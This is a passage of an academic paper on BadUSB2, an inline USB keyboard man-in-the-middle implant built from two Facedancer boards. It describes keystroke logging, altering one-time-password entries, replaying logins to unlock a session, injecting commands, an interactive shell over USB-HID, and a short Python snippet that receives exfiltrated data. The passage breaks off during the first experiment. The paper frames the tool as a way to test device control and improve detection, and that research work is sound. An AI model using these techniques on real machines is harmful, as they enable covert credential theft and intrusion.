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Abstract

The advanced uses and capabilities of rogue USB hardware implants for use in cyber espionage

activities is still very much an unknown quantity in the industry. Security professionals are in con-

siderable need of tools capable of exploring the threat landscape, and generating awareness in this

area. This paper proposes, BadUSB2, a tool capable of compromising USB fixed-line communi-

cations through an active man-in-the-middle attack. We implemented BadUSB2 and evaluated its

attack capabilities. The results show that BadUSB2 is able to achieve the same results as hard-

ware keyloggers, keyboard emulation, and BadUSB hardware implants. Furthermore, BadUSB2

introduces new techniques to defeat keyboard-based one-time-password systems, automatically re-

play user credentials, as well as acquiring an interactive command shell over USB. We also provide

recommendations to use self-learning to enhance monitoring and detection.
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Glossary

BadUSB Malicious software implanted into the USB firmware. 2, 24, 25, 34, 41

BadUSB2 Next generation BadUSB conceived by the author, that uses a USB active man-in-the-

middle device to compromise the integrity and confidentiality of USB fixed line communica-

tions. The author uses BadUSB 2.0 and BadUSB2 interchangeably. vi, vii, 8, 9, 11, 13, 15,

18, 20–29, 32–35, 42, 43

endpoint A uniquely addressed storage buffer on the USB peripheral that the host uses to send or

receive data. v, 2, 5–7, 11–14, 18, 19, 21, 25, 36

exfiltration A method of extracting data in a covert way. 1, 17, 18, 23–25, 31, 40, 43

facedancer A bespoke hardware device developed by Travis Goodspeed that allows USB periph-

eral or host emulation. vii, 8–13, 18, 26, 27, 39, 40

hardware implant A term used by the author to indicate a malicious USB device, or a device

claiming to be something it is not. vi, 2, 20, 24, 25, 33, 36, 37

HID The Human Interface Device class are for self-describing peripherals that define its own data

type and structure, and are generally used for human to computer interaction. viii, 1, 3, 5, 7,

9, 14, 24, 26, 31, 33–36, 39, 41–43

keyboard emulation A malicious USB device that emulates a keyboard and sends a pre-

programmed message by simulating user key presses. 3, 15, 20, 22–25, 34, 35, 40, 41

keylogger Devices physically connected to a keyboard to record user key presses. 1, 20, 21, 24,

27, 33
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named pipes A method to allow inter-process communication. 11

OTP A one time password that cannot be immediately reused. 21, 22

Teensy A USB development board with a programmable USB microcontroller. 22–25, 40, 41

TTWE Framework Software developed by Rijnard Van Tonder to fuzz USB drivers through a

USB man-in-the-middle design using two Facedancers. 3, 9, 39

two-factor authentication A system that requires the use of two distinct components to authenti-

cate a user. 3, 21
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Chapter 1

Introduction

The first release of the Universal Serial Bus, also known as USB, was released 20 years ago

in 1995 [1] [2]. Fast forwarding a decade or so, and every modern computer and peripheral had

adopted USB [3]. By January 2006, this widespread adoption caused websites selling PS/2 hard-

ware Keyloggers, a device that connects to the keyboard to record user keystrokes, to start selling

its USB counterpart [4] [5]. This move to attack USB would only be the start.

In 2007, the world saw its first USB worm, which propagated by infecting USB mass storage de-

vices, also known as USB sticks, using Microsoft Windows AutoRun, a feature allowing removable

media devices to auto-execute a binary once connected [6] [7]. A couple years on, and the world’s

first cyber atom bomb, Stuxnet would also use this technique. At that point the security community

at large knew to disable AutoRun [8]. We also saw the introduction of device control solutions that

implemented USB whitelisting, allowing users to only connect "known" USB peripherals.

With new restrictions on USB, Adrian Crenshaw in April of 2010, released a blog entry de-

scribing a programmable USB device that was capable of emulating a keyboard and "typing" out

commands specified in a script stored on the device. This technique once again allowed commands

to be executed automatically, and circumvented device whitelisting by emulating a known keyboard

type and vendor. Furthermore, later research allowed data Exfiltration through the USB-HID proto-

col [9] [10] [11]. Once again, device control systems were able to mitigate the threat by detecting

or limiting the number of USB keyboards installed.

In December 2013, the NSA ANT catalogue, a classified hacking and surveillance shopping list,

was leaked to the Internet. The catalogue revealed among other things, project COTTONMOUTH-I,
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a USB keyboard "Hardware implant" that allowed the device to launch attacks against the operating-

system, and exfiltrate data over a short-range radio frequency [12]. As far as the author can tell no

USB Hardware implant, with this level of sophistication existed in the public domain. Little infor-

mation is available on this device, however, as an in-line device connected to the user’s keyboard, the

previously mentioned security defences would not be able to block this type of Hardware implant.

To make matters worse, a year later at a security conference, three security researchers Karsten

Nohl, Sascha Kribler and Jakob Lell, shared a new attack called "BadUSB" [13].

BadUSB mirrors the firmware update process supported by some USB peripherals. This allows

an adversary to modify the original firmware to perform some malicious action [13]. As this code

resides in firmware, it is persistent, and as with the other hardware related attacks discussed above,

the code is invisible to the operating-system, and therefore any Antivirus scanning.

Given the history of USB threats, the motivations and objectives for this paper can be sum-

marised as follows:

• Provide the means of testing the effectiveness of device control systems by being able to sim-

ulate different attack capabilities. We propose a solution, with a proof of concept tool we call

BadUSB 2.0, that will enable fast prototyping of different attack scenarios to improve heuris-

tic and attack signature capabilities. In addition, BadUSB 2.0 can be used as an independent

assessment tool to test the effectiveness of different Endpoint security solutions.

• Advances in malicious firmware modifications, and hidden Hardware implants mean organi-

sations may not know they are under attack. The BadUSB 2.0 concept can be used to analyse

and probe USB peripheral behaviour from hardware, rather then performing these tests from

a potentially compromised operating-system.

• Hardware related attacks do not appear in the annual Verizon Breach Report, and generally,

just don’t appear to be on the radar [14]. This paper identifies and classifies the different

attack devices and capabilities to increase awareness in this space.

To achieve these objectives we took a two-fold approach, firstly, we developed the code using

the design by Rijnard van Tonder and Herman Engelbrecht in their paper titled, "Lowering the USB

Fuzzing Barrier by Transparent Two-Way Emulation" [15]. This allowed us to Man-in-The-Middle

(MITM) USB communications [16] to eavesdrop, modify, replay and fabricate messages between



3

a USB peripheral and host. In addition, it allowed the capability to exfiltrate data from the host

through HID output reports. Secondly, we performed a literature review using books, academic

projects, online sources, and conference materials to study existing malicious USB implants, and

then compared their strengths and weaknesses against our proposed tool.

Contributions. To summarise, the contributions of this paper are as follows:

1) The author introduces an active USB-MITM attack against USB keyboards, requiring a com-

plete rewrite of the TTWE Framework [15]. The new code adds the following functionality

not found in the original TTWE Framework:

• Supports low speed USB devices, tested with keyboards and mice

• Supports interrupt transfers

• Added HID support allowing inserting or modifying of HID report descriptors

• Captures and displays real-time HID Input reports from the USB peripheral, and HID

Output reports from the host

• Eavesdrop, modify, replay and fabricate messages through interrupt transfers

• Works with Python 2.7.6, no need for two different versions

2) The author is not aware of any practical solution that can eavesdrop, modify, replay, fabricate

and exfiltrate data in one system.

3) A new attack technique is introduced by the author called the character substitution attack,

with a theoretical example of how it could be used to defeat keyboard driven one-time pass-

word systems, often used in Two-factor authentication systems.

4) We introduce the idea of an interactive shell over USB, effectively giving an adversary a

covert channel to exfiltrate data.

5) Unlike Keyboard emulation tools, the proposed solution uses an in-line approach, and there-

fore bypasses existing detection techniques employed by device control systems.

6) The concept of using USB-MITM to detect malicious USB peripherals.
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The paper is organised as follows:

Chapter 2 gives a high level overview of how USB works. We will give a short introduction to the

USB setup (enumeration) phase, and will introduce the four USB communication methods.

Chapter 3 provides the information on the implementation of BadUSB2 including its hardware and

software components. It then takes a detailed look at how a USB keyboard communicates with

the host operating-system through HID reports, and how we abuse these reports to exfiltrate data.

Finally, we discuss some of the limitations of the proposed solution.

Chapter 4 takes a detailed look at each of the primary attack capabilities, namely, to eavesdrop, mod-

ify, replay and fabricate messages. It closes by comparing BadUSB2’s attack capabilities against

the other malicious hardware implant devices discussed in this paper.

Chapter 5 starts by giving a list of the hardware and software components used in the evaluation. We

then evaluate BadUSB2 with several proof of concept exercises demonstrating its attack capabilities

to eavesdrop, modify, replay, fabricate and exfiltrate data.

Chapter 6 discusses effectiveness of existing security controls to prevent or detect this attack, and

provides short, medium and long term recommendations to detect, prevent and monitor USB hard-

ware implants.

Chapter 7 looks at the differences of our USB-MITM implementation (BadUSB2) against the orig-

inal TTWE Framework. We also compare BadUSB2 against other related projects, including the

new NetHunter tool.

Chapter 8 discusses our accomplishments against the initial objectives outlined in the introduction,

and considers limitations and improvements for further work.
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Chapter 2

USB Communications

2.1 Overview

To understand how USB-MITM works, it is important to understand the communications that

occur after a USB peripheral has been attached, and powered by the host. In this chapter we review

the descriptors sent by the host to learn about, and configure the USB peripheral through a process

called enumeration, the Endpoints used to communicate after the device has completed the enumer-

ation stage, and finally, the different data transfer methods available in the USB specifications.

2.2 Descriptors

The enumeration stage is like an interview conducted by the host. At a high level, the host

asks a series of questions in order to identify the type of device, its function or functions, and to

enable a method of communication. The USB peripheral stores relevant information learnt from

the host descriptors, and responds with the required information, or an acknowledgement that the

descriptor was received. As this enumeration phase is conducted for every attached USB peripheral,

the USB specifications define 11 standard descriptor types, however, only 4 descriptors are used for

every USB peripheral, these are the device, configuration, interface and Endpoint descriptors. As

seen in figure below, there are also additional descriptors used for class or vendor-specific devices,

allowing the USB peripheral to provide more detailed information relating to its functions, one such

descriptor is the Human Interface Device (HID) descriptor [17] [18] [19].
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Figure 2.1. High Level View of Standard USB Descriptors [18]

2.3 Endpoints

USB peripheral can have multiple functions or usages, therefore, a unique Endpoint address

is assigned to each function, allowing communication flow between the host and that function. In

addition, each Endpoint number has a direction from the host’s perspective. Messages to be sent

to the host are IN transfers, whereas messages to be received from the host are OUT transfers.

To understand this, lets consider an example of a USB Keyboard with an embedded Smart Card

Reader. In order to communicate with these different functions, the keyboard, and reader, the USB

peripheral firmware uses a fixed, unique Endpoint address and direction for each of these functions,

and communicates these addresses in the Endpoint descriptor during enumeration. In this way,

the host can distinguish between USB functions on the same USB peripheral. This should not

be confused with the USB bus address, which the host uniquely assigns a USB peripheral during

enumeration to differentiate USB peripherals connected to the same bus [17] [19] [20].

As Endpoint addresses are only communicated during enumeration, every USB peripheral im-

plements a default Endpoint, Endpoint 0, which is the Endpoint address used for enumeration.
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2.4 Transfers Methods

A pipe is established when a communication channel is established between the host USB con-

troller and a USB peripheral Endpoint. One of four possible transfer types will be used, namely,

control, interrupt, isochronous or bulk. [17]

2.4.1 Control Transfers

As discussed previously, Endpoint 0 is used as the default Endpoint address used during USB

peripheral enumeration, however, this Endpoint can also be used for data transactions through

which class and vendor-specific descriptors are sent, for example HID report transfers, and status

transactions to report success or failure of a transfer. More information on control transfers can be

found in Chapter 5 of the USB specifications [17] [20] [19].

2.4.2 Interrupt Transfers

Interrupt transfers are used when devices need to communicate small amounts of data infre-

quently, for example, mouse coordinates or key presses on a keyboard. The host periodically polls

the Endpoint for data to read [19].

2.4.3 Bulk Transfers

Bulk transfers work in a similar way to interrupts, with the exception that it used for sending

large amounts of data, and thus USB bandwidth is not guaranteed, instead, the USB bus processes

the request as and when bandwidth is available [19].

2.4.4 Isochronous Transfers

Isochronous transfers are designed for real-time data such as video or audio data. To achieve

this, the delivery time of data is guaranteed and errors are not retransmitted. [19]
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Chapter 3

MiTM Engineering

3.1 Primer

This chapter discusses key concepts and information relating to the implementation of

BadUSB2. We use the design by Rijnard van Tonder and Herman Engelbrecht [15] [21] to im-

plement an active man-in-the-middle attack between a host and USB keyboard. This requires the

use of two bespoke hardware devices called Facedancers, designed by Travis Goodspeed [22].

3.2 Hardware

A picture of one of the Facedancer’s can be seen below. Observe that the device has two in-

terfaces, named, "host" and "target". The "host" side is used to connect to the mediating computer

(MC), while the target connects to either the USB peripheral, for host-emulation, or to a host, for

peripheral-emulation. We will assume for this paper that the Facedancer is a blackbox, and simply

relays USB communications as directed by the MC. The author refers the reader to van Tonder and

Engelbrecht’s original paper for more details relating to the Facedancer hardware [15].
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Figure 3.1. An image of a Facedancer Device [23]

Initially, significant time was spent trying to build on top of the existing TTWE Framework,

however, the author abandoned this idea for several reasons. TTWE focused on fuzzing USB

drivers, using a proof of concept framework called, "TTWE Framework [21]" which targeted mass

storage devices, and used bulk data transfers. In our implementation, BadUSB2 uses interrupt trans-

fers, across low speed USB devices, with support needed for HID, short for Human Interface Device

specification [18]. In the end, the author decided on a complete rewrite.
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Figure 3.2. VonTonder-Engelbrecht Facedancer MITM Solution [15]

As seen in the VonTonder-Engelbrecht design above, to implement an active USB-MITM, one

Facedancer is placed in host-emulation mode, and connected to a real USB peripheral, in our case

a keyboard, the Facedancer is placed in peripheral-emulation mode, and connected to the legiti-

mate host. The mediating computer is connected to both Facedancers, and relays communications

using software written in Python. This Python code implements the active man-in-the-middle, re-

laying USB communications between the two Facedancers, and implementing our desired attack

capabilities [15]
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3.3 Inter-process Communications

In this section we look at some of the key concepts and design decisions taken during the im-

plementation of BadUSB2.

Foundation. Travis Goodspeed (the Facedancer author) provides a code library that greatly re-

duced the development time of BadUSB2 by providing functions that performed read/write actions

to the different USB Endpoint hardware registers (buffers) on the Facedancer devices. In addition,

two example clients were included, the firstly "goodfet.maxusbhid.py", which emulated a keyboard

and typed out a message to the host, and secondly, "goodfet.maxusbhost.py", which emulates a

host, retrieves the configuration descriptor from a USB peripheral, and then returns some informa-

tion about the device. The author renamed these examples to, "m2h.py", short for MITM to host

(doing peripheral-emulation), and "m2p.py", short for MITM to host (doing host emulation). This

formed the foundation of BadUSB2 [22] [21].

Facedancer to Facedancer. The first goal was to move away from "emulating" and actually

pass messages between the two Facedancers, such that the host and USB peripheral could talk to

each other. For inter-process communications, the author used Named pipes, as in the TTWE design,

to pass messages between the two Facedancers. Effectively, two pipes are used in BadUSB2, the

first, to pass control transfers between the host and peripheral Facedancers, and the second, to pass

application data [24] [21].

Maximum Payload Size. USB keyboards are considered low speed devices with a maximum

transfer of 8 bytes per transfer. The host learns this information during the initial device descriptor

transfer.

Initially, the Python function readline was used by the MC to read data returned from the real

USB peripheral, similar to TTWE. However, this function would truncate the message when it

intercepted hex bytes interpreted as an "end of line". A modified read function was used, utilising

the length in the descriptor in bytes to read the full message.

Functions used to write data to the Facedancer registers also had to be modified to take into

account the 8-byte transfer restriction.

Interrupt Transfers. As stated previously, TTWE used bulk transfers, thus a dedicated inter-

rupt function was needed to handle read requests to the USB peripheral. The Goodfet library already



12

provided the required code, it was just a matter of finding it [22]. All that was left to do was to pass

on any received application data to the dedicated application data pipe.

Having two pipes in use, enumeration, and application, created a blocking problem, i.e. when

one pipe reads, it becomes blocked until data is received [24]. To allow communications to be

unhindered, an empty message is sent if no data is available.

Endpoint Hijacking. The Facedancer only supports 4 Endpoints (EP0 IN/OUT, EP1-OUT,

EP2-IN and EP3-IN). Endpoint 0 (EP0) is standard across all devices, allowing the Facedancer to

mediate the control (enumeration) phase for any USB peripheral. For other Endpoint addresses (not

EP0), the legitimate USB peripheral Endpoint and direction must match the peripheral-emulating

Facedancer’s Endpoint and direction in order for the transfer to work. In practice, this was never the

case, and required Endpoint hijacking. As seen in Facedancer MITM figure above, to successfully

mediate Endpoint traffic, the mediating system must identify the Endpoint descriptor during enu-

meration, and modify the Endpoint address to a valid Endpoint address supported by the Facedancer,

for example, a keyboard using EP1-IN would be remapped to EP3-IN on the Facedancer [15].

3.4 Application Data

Once enumeration is complete and Endpoint addresses have been configured, the host and le-

gitimate peripheral will be able to send and receive actual application data, e.g. key presses on a

keyboard.

Raw Data. Application data is now passing through the mediating computer. At this point we

aren’t interpreting or interacting with the data, just relaying it, and reading the raw data as seen in

the figure below.
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Figure 3.3. Raw keyboard scan codes relayed by MC

Lets consider how BadUSB2 would work with a USB keyboard and host:

Let :

Kb = keyboardendpointbuffer

K = LegitimateKeyboard

MC = MediatingComputer

MP b = MediatingPeripheralendpointbuffer

H = LegitimateHost

1.K > Kb

2.MC < Kb

3.MC > MP b

4.H < MP b

When a key is pressed, a unique scan code representing that key is stored in an Endpoint buffer on

the keyboard. The MC reads the scan code and relays it to the Endpoint buffer of the peripheral-

emulating Facedancer. The legitimate host is continually polling the emulated-peripheral Endpoint

for data, and reads it when some becomes available. The host then processes the data as it would

real data.
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We can see that between steps 2 and 3, the MC can read and modify the data. We can also see

that new messages can be fabricated by simply injecting key presses at step 3. To understand this

better we need to understand the HID class.

3.5 HID Class

Human Interface Devices (HID) are self-describing peripherals, meaning it defines its own

data type and structure for application data transfers in a similar way to the widely used exten-

sible markup language (XML). HID report descriptors are sent during enumeration, and the host

operating-system uses a generic HID driver to parse and process the report data. With the report de-

scriptor processed, the operating-system is able to communicate with the peripheral either through

input, output or feature reports. For more information on HID, please see the USB-HID specifica-

tions [18].

3.5.1 Input Reports

Input reports allow the USB peripheral to perform data transfers over the control pipe, however,

the USB keyboards tested for this paper sent the reports over a dedicated Endpoint address EP1,

remapped to EP3 (See Endpoint Hijacking).

The following table represents the keyboard input report (8 bytes), pp.60 of the HID specifica-

tions [18].

Table 3.1. Keyboard HID input report (8 bytes)

Byte Description

0 Modifier keys
1 Reserved
2 Keycode 1
3 Keycode 2
4 Keycode 3
5 Keycode 4
6 Keycode 5
7 Keycode 6

As seen above, the 8-byte input report contains a unique key code for each key press, and a mod-

ifier which allows the host to apply a new interpretation for each key code depending on the modifier



15

used, e.g. shift, Windows-Key etc. As we built on top of Travis Goodspeed’s HID Keyboard emula-

tion code, he had already implemented a function called asc2hid in "GoodFETMAXUSB.py " [22],

which converted readable ASCII keys to scan codes. The author also created a hid2asc allowing

the reverse operation. This gives BadUSB2 the capability to eavesdrop, and interpret scan codes to

readable ASCII, as well as the capability to fabricate new messages, by converting ASCII to series

of scan codes.

3.5.2 Output Reports

Output and feature reports are used by the host to send data to, or enable a feature on the USB

peripheral. We can observe an output report by simply pressing the Scroll-Lock key as seen in

Figure below.
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Figure 3.4. Wireshark Showing HID Output Report Caused by Caps-Lock Key Press [25]

The "wLength" (report length) is 1 byte, and on the last line "0040" we see the value is 0x02h,

telling the keyboard to enable the Scroll-Lock LED.

The following table represents the keyboard output report (1 byte) (pp.60 of the HID specifica-

tions [18].
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Table 3.2. Keyboard HID output report (1 byte) [18]

Bit Description

0 NUM LOCK
1 CAPS LOCK
2 SCROLL LOCK
3 COMPOSE
4 KANA

5-7 CONSTANT

The ability to send data from the host to the USB peripheral could be abused to allow data

Exfiltration. The idea of using output or feature reports to exfiltrate data is not new, Thomas Cannon

[9], Andras Veres-Szentkiralyi [10], and others [11] have discussed these ideas online.

LED Morse code technique. Andras’s technique [10] is based around the fact that keyboard

LED’s can be used like a sort of Morse code. For example, the letter ’A’ can be converted into bits,

"1000001". The Scroll-Lock is switched to the on position indicating that data is about to be sent,

Caps-lock and Nums-Lock are then toggled on and off like Morse code to create a series of bits.

Scroll-Lock is then switched to the off state to signify that the data transfer is over, whereby the bits

can be grouped and converted back into an ASCII character.

Andras reported that this technique can read 1.24 effective bytes per second, which may be

all an adversary would need, however, to transfer 1 megabyte at 1.24 bytes per second would take

approximately 9 days and 8 hours to complete, which may not be practical for many situations. That

said, a big advantage of this technique is that any non-privileged user could exfiltrate data, as no

special privileged are needed to toggle LED’s [10].

Report Fabrication Technique. Thomas Cannon makes reference of "sending reports and

feature requests" to exfiltrate data, but the article did not give clear details on what was meant,

nor was any code provided [9]. Examining the "Set Feature" and "Set Report" Output reports we

can see that if the operating-system permits the user to send HID requests, it would be possible to

send 1 byte of data per OUT transfer. Given that 10ms for interrupt OUT transfers is considered

reasonable [26], this would allow a theoretical write speed of approximately 0.1kB/s, which is

a significant improvement from Andras’s Morse code technique, taking 21 minutes to transfer 1

megabyte. When testing this technique further, some operating-systems like Ubuntu Linux are less

strict on being compliant with the report descriptor. Using the HIDAPI, it was possible to transfer
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8 bytes per transfer, meaning we could significantly improve the write speed to approximately 0.8

kB/s, allowing 1 megabyte download in 2m36s.

One limitation to the HID Report Injection technique is that Ubuntu Linux, by default, needs

privileged access to send custom HID reports. This does not appear to be the case for MS Windows,

however, we could not prove this as we could not get the HIDAPI code to find the Report Identifier,

even when directly attached to the host [27].

BadUSB2 Data Exfiltration. The author implemented the Report Fabrication Technique using

the code as follows:

1 e x f i l t r a t e d _ d a t a = s e l f . r e a d b y t e s ( rEP0FIFO , 1 ) ; # R e g i s t e r , E n d p o i n t Number

2 i f ( l e n ( e x f i l t r a t e d _ d a t a ) >0) :

3 i = l e n ( e x f i l t r a t e d _ d a t a ) ;

4 o d a t a =0;

5 f o r i i n e x f i l t r a t e d _ d a t a :

6 i f ( o rd ( i ) ==10) : # End of l i n e

7 p r i n t ( " " ) ;

8 e l s e :

9 s y s . s t d o u t . w r i t e ( i )

In the code above, when BadUSB receives an output report, it extracts the 1-byte of exfiltrated

data and stores it in a variable ("exfiltrated_data"). After receiving a byte, BadUSB2 continues on

with all its other functions, and thus, we needed a way of only displaying the data when a new line

was entered. This was achieved as seen above, by utilising "sys.stdout", which buffers the data until

a newline is received. This is one approach, but it does mean there is a delay in retrieving output

data, which may not be desirable in some cases.

3.6 BadUSB2 Limitations

Fixed Endpoints. Given that the Facedancer Endpoints are fixed in firmware, Endpoint hijack-

ing is almost always needed. This breaks the passive MITM concept as modification is required, and

is therefore detectable by the host. In addition, given the limited number of Endpoints supported by

the existing Facedancer, it would not be possible to MITM more complex USB peripherals.

Interpreting Application Data. To interact with the application data, the mediating computer

needs to be able to interpret this data, as in the case of interpreting scan codes sent by a keyboard.
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Depending on the complexity of the data, this may require significant work. In addition, this prob-

lem is compounded if multiple Endpoints are being used at the same time.
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Chapter 4

MITM Attack Capabilities

The previous chapters have provided information on how USB works, the theory, and imple-

mentation of BadUSB2. With this background knowledge, we provide details for each of the pri-

mary MITM attack capabilities, and compare them against existing rogue USB Hardware implants,

namely, hardware Keyloggers, HID Keyboard emulation devices and BadUSB.

4.1 Eavesdropping

A passive MITM adversary eavesdrops on messages between two or more parties. The term

passive means the adversary only observes, and does not modify the contents of message in any

way.

As explained in previous chapters, it is possible for an adversary to capture keyboard keycodes,

and translate this information into readable text. This type of eavesdropping attack is known as

keylogging or keystroke logging, and can work as a Hardware implant or in software.

With the ability to read user key presses, the adversary could eavesdrop on sensitive information

such as usernames and passwords or email correspondence. In addition, less obvious information

can also be gathered such as user habits, behaviours and time tracking.

Hardware Keyloggers have been readily available to the public for some time now. Users in

Manchester were targeted in 2011, when hardware Keyloggers were attached to shared comput-

ers in the local libraries [28], and in 2014, eleven students were expelled for installing hardware

Keyloggers on their teachers computers in order to the gain access to change their grades [29].
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Hardware Keyloggers have many advantages over its software counterpart. Unlike software

driven Keyloggers where malicious code is stored in volatile memory, or in persistent storage, the

hardware-based keylogging software is stored on the device itself, and cannot be scanned by the

operating-system, making it difficult to detect. In addition, it also doesn’t require access to the

operating-system making it easy to install, as seen in the library and schools examples provided. Fi-

nally, hardware Keyloggers persist even if the operating-system is reinstalled, or at boot up, allowing

eavesdropping of pre-boot authentication systems.

4.2 Modification

An active MITM adversary is able to modify the contents of an intercepted message, and then

relay the modified message to the original recipient.

BadUSB2 lets the adversary modify messages sent between the USB peripheral and the host in

real-time. These messages could be modified during enumeration, such as the Endpoint hijacking

technique discussed in the previous chapter, allowing remapping of the USB peripheral Endpoints.

In addition, modification may occur over the application data itself, which we use to introduce an

attack we call Character Substitution.

The Character Substitution attack is the modification of user keystroke data in real-time, in

order for an adversary to control a user-generated event. An example use-case would be defeating

a keyboard-based one-time password (OTP) scheme, commonly used by Two-factor authentication

(2FA) systems.

Lets consider how this might work in practice.

Let:

k represent the OTP

n represents a byte position of k

l represents the expected length of OTP

r represents the return key (enter)

MC represents the Mediating Computer

Mn represents a modified byte
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H represents a legitimate Host

k0 > MCk0 > H

k1 > MCk1 > H

...

kn[l − 1] > MC[Mn] > H

MCr > H

As seen above, the adversary can force a user to submit an incorrect OTP by modifying the last

character, and then submit it by sending the "Enter" keycode to the host. The adversary can now use

the OTP.

The author has shared one possible use-case of the Character Substitution attack, but there are

many other possibilities, such as compromising password reset systems, which are particularly vul-

nerable given the fact that user input is obscured from view, or making subtle changes for financial

gain, such as changing account numbers, currency symbols etc.

4.3 Replay

A replay attack is when an active MITM adversary re-sends a previously intercepted message

to the recipient of the original message. As eavesdropping is a prerequisite to being able to replay

messages, Keyboard emulation devices do not have this attack capability. In contrast, by recording

a series of sequentially intercepted keystrokes, BadUSB2 is able to replay user actions without the

need for modifying or fabricating a new message.

One example for this attack would be a locked MS Windows login screen. Currently, de-

vices like the Teensy are not able to get past this without knowing the user’s login credentials,

but BadUSB2 can simply replay a previously intercepted user session in order to login. The reader

can refer to the Evaluation chapter for further information on this attack.
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4.4 Fabrication

In addition to modifying and replaying messages, an active MITM adversary can also create new

messages. The section looks at the types of attacks an adversary can implement through message

fabrication, made possible with BadUSB2.

There has been some great research in this area by various people, including Mike Czumak,

Adrian Crenshaw and Offensive Security, who were able to fabricate messages by emulating a key-

board through an Arduino-based hardware device called a Teensy. This device is an example of a

HID Keyboard emulation device [30] [31] [32] [33]. This section does not detail every possible at-

tack relating to keyboard message fabrication, but instead focuses on where the proposed BadUSB2

solution adds value to these areas.

Anybody Home. Before fabricating messages the adversary first tests to check if the user is in

front of the terminal. We look at three different techniques, namely, enabling the Caps-Lock "trick",

checking the time of the last entered keystroke, and finally as a verification, to take a screenshot.

1) Similar to the Marco Polo game, the adversary who cannot see the user, turns on the keyboard

Caps Lock LED, and waits to see if the user will turn it off. If no action is taken after after a

period of time, its safe to assume the user isn’t present.

2) BadUSB2 can also eavesdrop on communications, something the Teensy-type devices cannot

do. An adversary can simply check when the last keystroke was entered, and determine if its

"safe" to fabricate a message.

3) Finally, more as a verification method then a standalone technique, the adversary could take

a screenshot, or take a picture using the webcam. Of course, this requires data Exfiltration to

get the file.

USB-HID Interactive Shell. Similar to Teensy, BadUSB2 can also execute commands through

the use of the operating-system built-in terminal, e.g. command prompt, bash etc. Teensy can

only run a series of commands in a script. BadUSB2 allows real-time bidirectional communication

between the MC and host. By using the data Exfiltration techniques discussed in the previous

chapter, it is possible acquire an interactive shell through the USB-HID protocol. The author is
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aware that the Teensy could achieve a similar result through a network shell, e.g. netcat, however,

the point here is that USB-HID provides a covert channel, with data never going over the network.

The attack works by fabricating a message as if a regular command will be sent, except that all

commands will pipe output to a file, e.g. "some_command > output.txt". One of the data Exfiltration

techniques can then be used to download the file, and retrieve the output of the command. This

process can be automated to build an interactive shell.

Pre-boot Attacks. The HID specifications define a basic report descriptor that all keyboards

must implement, known as the boot protocol. This is used so that the BIOS, with its limited storage,

does not have to implement a full generic HID driver. Thus, BadUSB2 will still function in a pre-

boot environment, but will lack the data Exfiltration component, meaning any attack launched would

be blind. In addition, there is no reason why BadUSB2 can’t perform USB emulation to become a

different USB peripheral, such as a mass storage device. Attacks may include privilege escalation

through alternate boot options such as safe mode in MS Windows, or single mode in Linux, to

more complex scenarios whereby BadUSB2 switches its peripheral type to a bootable mass storage

device. This attack type is purely theoretical, and left to the reader to consider.

4.5 Hardware implant Device Comparison

Now that we have reviewed each of the the primary attack capabilities an adversary could use,

we compare the effectiveness of each Hardware implant device. The table below gives a high level

comparison of attack capabilities available to each device type.

Table 4.1. Comparison of Attack Capabilities

Attack Capability Keylogger HID Keyboard emulation BadUSB BadUSB2

Eavesdropping Y N Y Y
Modification N N Y Y

Replay N N Y Y
Fabrication N Y Y Y

Data Exfiltration Y Y Y Y

Hardware Keyloggers. Due to complexity, hardware Keylogger implementers may choose to

only MITM keycodes received from the legitimate keyboard, and not the report descriptor itself. In

other words, it relays application data received from the legitimate keyboard, and not the enumer-
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ation data. If this is the case, the legitimate keyboard may not be fully functional, or other more

subtle differences may occur. These changes may be detectable by the user. Also, data Exfiltration

is limited to keystroke data only. As an eavesdropping device only, BadUSB2 overcomes these chal-

lenges by relaying all communications, and is not limited to keystroke data Exfiltration, however,

the adversary may need to code a function in order to interpret the relayed data.

Hardware Keyboard emulation Devices. Devices like the Teensy have publicly available

code libraries, and online support. This allows rapid development of different attack scenarios. It

is also possible to modify these devices to include removable storage, allowing data Exfiltration

support. One major disadvantage however, is that although the devices are programmable, allowing

the adversary to emulate a specific keyboard type and vendor, heuristics techniques can easily detect

and block these devices by simply monitoring for the attachment of a second (or additional) key-

board. BadUSB2 has several major advantages over the Teensy. The Teensy relies on the user being

logged in to perform an attack, where as BadUSB2 can utilise eavesdropping and replay attacks to

get around this problem, as well as allowing more advanced attack scenarios. Finally, it is an in-line

device, and therefore gets around the "2-keyboard" detection trick, making it more stealthy [33].

BadUSB. The modification of USB peripheral firmware gives an adversary the same capabil-

ities as BadUSB2, in fact, it doesn’t need to perform Endpoint hijacking, and is not a software

implant, rather than a Hardware implant making it "ghostware". However, without further modi-

fications to physical hardware as seen in the NSA COTTONMOUTH-I project, there are several

major drawbacks. Firstly, the complexity in modifying vendor firmware, especially if the firmware

does not support remote updates. Secondly, the resource restrictions in terms of storage for the

modified code, as well as storage of exfiltrated data, and finally, the method of actually acquiring

the exfiltrated data may be difficult [13].

BadUSB2. Using an active MITM attack, BadUSB2 supports all the attack capabilities of the

other rogue USB Hardware implants, and makes it a more practical, and cost-effective attack tool

when compared against BadUSB. We also propose several changes in the conclusion of this paper

on how to improve the device further, allowing it to be used for penetration testing engagements,

prototyping, forensics and more.
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Chapter 5

Evaluation and Results

To evaluate the effectiveness of BadUSB2, we need to demonstrate that it is possible to achieve

an active USB-MITM session between a USB keyboard and a host, whilst launching the primary

attack capabilities listed in this paper, namely, to eavesdrop, modify, replay, fabricate and exfiltrate

data without terminating the USB keyboard session.

Although the author tries to explain the experiments section of this chapter in detail, the reader

may wish to refer to the HID specification for additional background information [18] [34].

5.1 Setup

Components. To perform the experiments we used the following components:

• Two Facedancers v21 hardware devices.

• 1 Macbook Pro running Ubuntu Linux was used as the Mediating Computer (MC).

• 1 Dell Latitude 3440 dual booting Ubuntu Linux or MS Windows 7 were used as the host

(target).

• 1 Genius USB Keyboard.

• Python v2.7.6 was used to develop and run the code on the MC.

Please note, larger snippets of code were moved to the Appendix section of this paper.
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Configuration. Each Facedancer has a host port for connecting to the MC, and a target port.

The first Facedancer is configured to run in host-emulation mode by running "m2p.py", with the

MC connected to the host port, and the target port connected to the Genius USB keyboard. The

second Facedancer is configured to run in peripheral-emulation mode, running "m2h.py", with the

MC connected to the host port, and the Dell Lattitude 3440 connected to the target port.

5.2 Experiments

Experiment 1: Eavesdropping. In this first experiment we attempt to complete the enumera-

tion phase, and intercept real-time application data from the Genius Keyboard as keys are pressed

and relayed to the legitimate host. The objective of this experiment is to demonstrate that BadUSB2

can perform the same function as a real-time hardware Keylogger. In addition, the ability to eaves-

drop on keyboard data is a prerequisite for all the other attack capabilities. Finally, we want to see

